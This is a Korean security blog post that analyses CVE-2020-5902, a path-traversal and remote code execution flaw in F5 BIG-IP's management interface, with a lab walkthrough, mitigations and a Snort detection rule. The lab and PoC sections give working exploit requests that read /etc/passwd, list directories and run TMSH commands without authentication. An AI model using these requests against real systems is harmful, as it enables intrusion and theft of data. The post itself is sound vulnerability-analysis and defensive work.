1. F5 BIG-IP
- F5 : 응용 서비스 및 네트워크 관리 제품 개발을 전문으로 하는 다국적 기업
- BIG-IP : 로컬 및 글로벌 스케일의 인텔리전트 L4-L7 로드 밸런싱 및 트래픽 관리 서비스, 강력한 네트워크 및 웹 애플리케이션 방화벽 보호, 안전하고 연합된 애플리케이션 액세스를 제공하는 어플라이언스 제품
1.1 TMUI
- Traffic Management User Interface
- 웹 기반 트래픽 관리 사용자 인터페이스
2. 취약점
- BIG-IP의 Traffic Management User Interface(TMUI)에서 접근통제가 미흡하여 발생하는 원격코드실행 취약점
- ..; 문자열을 이용해 상위 디렉토리로 이동 후 인증 없이 중요 파일 또는 디렉터리 접근이 가능
- 취약점을 악용한 공격자는 대상 시스템에 다음과 같은 행위를 할 수 있음
① 인증없이 원격 코드 실행 (RCE)
② 파일 생성 및 삭제
③ 서비스 비활성화
④ 정보 탈취
⑤ 임의의 시스템 명령과 Java 코드를 실행
⑥ 내부 네트워크로 공격을 확장할 수 있는 추가적인 대상을 탐색
영향받는 버전 : BIG-IP 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, 11.6.1-11.6.5.1
2.1 실습
- 아래 사이트에서 BIG-IP 15.1.0.2-0.0.9 LTM을 다운로드
- 설정 후 BIG-IP 서버 접근 시 TMUI의 로그인 페이지 확인
※ 가상머신(.ova) 설치 후 설정없이 ifconfig 명령으로 확인되는 IP에 접속
※ 최초 설치 시 ID/PW는 root/default
- 버프슈트를 통한 Exploit 수행
① fileRead.jsp의 fileName 매개변수를 이용해 /etc/passwd 파일 접근 및 파일 내용 노출
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1
② directoryList.jsp의 directoryPath 매개변수를 이용해 디렉토리 리스트 조회
GET /tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ HTTP/1.1
③ 원격 명령 실행
- F5 BIG-IP는 TMSH라고 하는 CLI 환경을 제공
GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin HTTP/1.1
- 위 예시 외에도 다양한 명령을 통해 Exploit을 진행할 수 있음
2.2 PoC
- 아래 URL 외에 공개된 PoC를 확인해보면 /tmui/login.jsp/..;/ URL이 공통적으로 확인됨
https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
3. 대응방안
3.1 서버측면
① 최신 업데이트 적용
② 허용된 IP만이 관리 인터페이스에 접근할 수 있도록 설정
- 화이트리스트 방식
③ 계정 정보 변경
④ F5에서는 httpd 설정에 아래 설정을 권고
- 요청 URL에서 ; 또는 hsqldb가 매칭되는 경우 404 에러 페이지로 리다이렉션
include 'FileETag MTime Size
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
<LocationMatch "hsqldb">
Redirect 404 /
</LocationMatch>
'
3.2 네트워크 측면
① 공개된 PoC를 통해 URL에 /tmui/login.jsp/..;/이 포함된 경우 탐지할 수 있는 정책을 설정 및 적용
- 모니터링을 통해 비인가 혹은 공격 의심 IP 차단 적용
alert tcp any any -> any any (msg:"BIG IP_RCE_CVE-2020-5902";flow:established,to_server;uricontent:"/tmui/login.jsp/..|3b|/tmui/"; nocase; )
4. 참고
- https://nvd.nist.gov/vuln/detail/cve-2020-5902
- https://gist.github.com/cihanmehmet/07d2f9dac55f278839b054b8eb7d4cc5
- https://research.kudelskisecurity.com/2020/07/06/security-advisory-f5-big-ip-critical-severity-rce-vulnerability-cve-2020-5902/
- https://support.f5.com/csp/article/K52145254
- https://clouddocs.f5.com/cli/tmsh-reference/latest/commands/
- https://blog.cloudflare.com/cve-2020-5902-helping-to-protect-against-the-f5-tmui-rce-vulnerability/
'취약점 > Directory Traversal' 카테고리의 다른 글
Check Point社 VPN Path Traversal 취약점 (CVE-2024-24919) (0) | 2024.06.04 |
---|---|
Openfire 경로 탐색 취약점 (CVE-2023-32315) (1) | 2024.02.02 |
Citrix ADC and Gateway 취약점 (CVE-2019-19781) (0) | 2022.12.02 |
FortiOS SSL VPN Directory Traversal 취약점 (CVE-2018-13379) (0) | 2022.11.29 |
bWAPP Directory Traversal(Files) (0) | 2022.08.06 |